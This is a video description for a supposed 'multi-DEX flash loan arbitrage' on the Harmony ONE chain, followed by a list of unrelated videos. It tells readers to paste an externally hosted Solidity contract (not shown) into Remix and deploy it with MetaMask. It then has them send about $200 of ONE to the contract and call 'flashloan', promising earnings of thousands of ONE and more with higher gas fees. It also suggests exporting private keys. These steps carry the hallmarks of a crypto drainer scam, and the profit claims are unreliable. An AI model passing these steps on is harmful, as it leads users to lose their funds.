Arbitrage on ONE Harmony. How to setup a MULTI DEX arbitrage using Metamask and Solidity
In this video you will see a multi DEX arbitrage attack taking place on ONE Harmony chain with one coin/ one token. Trading betweek ViperSwap and MakerDAO. Be sure to have some ONE in your metamask wallet to fund the gas needed for this.
Earn crypto with ONE Harmony coin, using Flashloans on Harmony Mainnet. 883 ONE - 5200+ ONE
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
PLEASE FOLLOW THE VIDEO CAREFULLY IN ORDER TO WORK!!
REMEMBER : In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask, otherwise it will not work.
NOTE: If anyone doesn't know you can export your private key from Harmony ONE wallet and restore it into metamask. with ONE harmony you have 2 addresses. one that starts with 'one' and other with '0x'. 0x is obviously the format it is in once imported into metamask and format used when interacting with DEX. However for withdrawal and deposit from exchanges it usually to 'one' address. But so it is understood every 'one' address has a corresponding '0x' address linked to the same wallet. Hope I didn't confuse anyone.
Setup Metamask to connect to One Harmony Mainnet – https://docs.harmony.one/home/network/wallets/browser-extensions-wallets/metamask-wallet
Smart Contract Code Link – https://raw.githubusercontent.com/MC-Financial/contracts/main/OneHarmonyArbitrageContract.sol
Remix Link – http://remix.ethereum.org/
ViperSwap - https://viper.exchange/#/swap
ViperSwap Github - https://github.com/VenomProtocol/venomswap-contracts
MakerDAO Github - https://github.com/makerdao/dss-flash
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in ONE Harmony Mainnet by deploying Contract/Token to mask our arbitrage attack against ViperSwap.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://raw.githubusercontent.com/MC-Financial/contracts/main/OneHarmonyArbitrageContract.sol)
3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.6.12 + commit version and hit Compile.
4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 200$ish of ONE to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
7. Call ‘flashloan’ function in Remix.
-
22:37
Degenerate Plays
17 hours agoI'm Looking Respectfully 👀 - Stellar Blade : Part 8
29.3K2 -
8:08
Film Threat
10 hours agoDEADPOOL & WOLVERINE FINAL TRAILER REACTION! | Film Threat Reactions!
36.6K12 -
12:06
GameLeap RAID Shadow Legends
18 hours ago8 RARE Champions You MUST MAX LEVEL - Raid: Shadow Legends Best Rares 2024
31.7K2 -
33:09
CarlCrusher
15 hours agoSHOCKING NEW Evidence Found Searching for Lost UFO In Search of the Nevada Skinwalker Portal
39.7K11 -
2:33:41
Crime Circus
16 hours agoINTERROGATION of SlCK KlLLER who Confesses!! SUCCESSFUL Police Interrogation!
29.6K7 -
1:04:49
Talk Nerdy 2 Us
21 hours agoGlobal Shutdown Alert: Was the Microsoft Hack Just the Beginning of a Worldwide Cyber Conspiracy?
61.3K23 -
6:26
Guns & Gadgets 2nd Amendment News
1 day agoGovernment Spying On Gun Owners Through Credit Cards (Backdoor Registry)
24.1K8 -
1:00:20
Man in America
17 hours ago🔴 LIVE: DISTURBING Connections Between CrowdStrike, Trump Shooting & Blackrock
82.8K394 -
1:58:54
Kim Iversen
17 hours agoUrban Warfare Expert Praised by RFK Jr. and Netanyahu Defends Israel's Civilian Protection in Gaza | w/ John Spencer
113K277 -
5:05:59
Nerdrotic
20 hours ago $75.70 earnedACOLYTE FINALE! Deadpool 3! Woke Hollywood COPE | Friday Night Tights 311 / MauLerYT StarWarsTheory
149K92